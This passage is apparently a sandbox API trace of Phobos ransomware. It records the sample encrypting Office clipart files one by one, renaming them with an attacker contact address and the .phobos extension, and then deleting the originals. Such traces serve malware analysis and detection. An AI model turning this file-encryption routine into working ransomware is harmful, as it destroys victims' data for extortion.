dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.052] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=712) returned 1 [0062.052] CloseHandle (hObject=0x328) returned 1 [0062.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0062.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.052] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.052] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.053] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0062.053] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.053] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2c8, lpOverlapped=0x0) returned 1 [0062.053] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2d0) returned 1 [0062.053] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2d0, lpOverlapped=0x0) returned 1 [0062.054] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0062.054] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.054] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.054] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.054] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.055] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0062.055] CloseHandle (hObject=0x328) returned 1 [0062.055] CloseHandle (hObject=0x310) returned 1 [0062.062] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0062.063] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.063] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1932) returned 1 [0062.064] CloseHandle (hObject=0x310) returned 1 [0062.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0062.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.064] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.064] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.065] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0062.065] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.065] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x78c, lpOverlapped=0x0) returned 1 [0062.164] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x790, dwBufLen=0x790 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x790) returned 1 [0062.164] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x790, lpOverlapped=0x0) returned 1 [0062.165] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc910) returned 1 [0062.165] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.165] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.165] CryptDestroyKey (hKey=0x10dc910) returned 1 [0062.165] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.165] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.165] CloseHandle (hObject=0x310) returned 1 [0062.165] CloseHandle (hObject=0x328) returned 1 [0062.166] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0062.167] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.167] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=20784) returned 1 [0062.167] CloseHandle (hObject=0x328) returned 1 [0062.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0062.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.168] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.168] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.168] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0062.168] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.168] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5130, lpOverlapped=0x0) returned 1 [0062.181] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5140, dwBufLen=0x5140 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5140) returned 1 [0062.181] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x5140, lpOverlapped=0x0) returned 1 [0062.182] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc50) returned 1 [0062.182] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.182] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.182] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.182] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.182] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.182] CloseHandle (hObject=0x328) returned 1 [0062.182] CloseHandle (hObject=0x310) returned 1 [0062.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0062.184] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.185] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2226) returned 1 [0062.185] CloseHandle (hObject=0x310) returned 1 [0062.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0062.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.185] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.185] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.186] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc910) returned 1 [0062.186] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.186] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x8b2, lpOverlapped=0x0) returned 1 [0062.201] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8c0) returned 1 [0062.201] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x8c0, lpOverlapped=0x0) returned 1 [0062.202] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0062.202] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.202] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.202] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.202] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.202] CryptDestroyKey (hKey=0x10dc910) returned 1 [0062.202] CloseHandle (hObject=0x310) returned 1 [0062.202] CloseHandle (hObject=0x328) returned 1 [0062.203] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0062.204] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.204] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3692) returned 1 [0062.204] CloseHandle (hObject=0x328) returned 1 [0062.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0062.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.204] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.204] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.205] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc90) returned 1 [0062.205] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.205] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xe6c, lpOverlapped=0x0) returned 1 [0062.218] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe70, dwBufLen=0xe70 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe70) returned 1 [0062.218] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xe70, lpOverlapped=0x0) returned 1 [0062.219] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0062.219] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.219] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.219] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.219] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.219] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0062.219] CloseHandle (hObject=0x328) returned 1 [0062.220] CloseHandle (hObject=0x310) returned 1 [0062.225] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0062.229] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.244] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3616) returned 1 [0062.244] CloseHandle (hObject=0x328) returned 1 [0062.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0062.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.244] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.244] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.260] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0062.260] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.260] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xe20, lpOverlapped=0x0) returned 1 [0062.274] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe30, dwBufLen=0xe30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe30) returned 1 [0062.274] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, 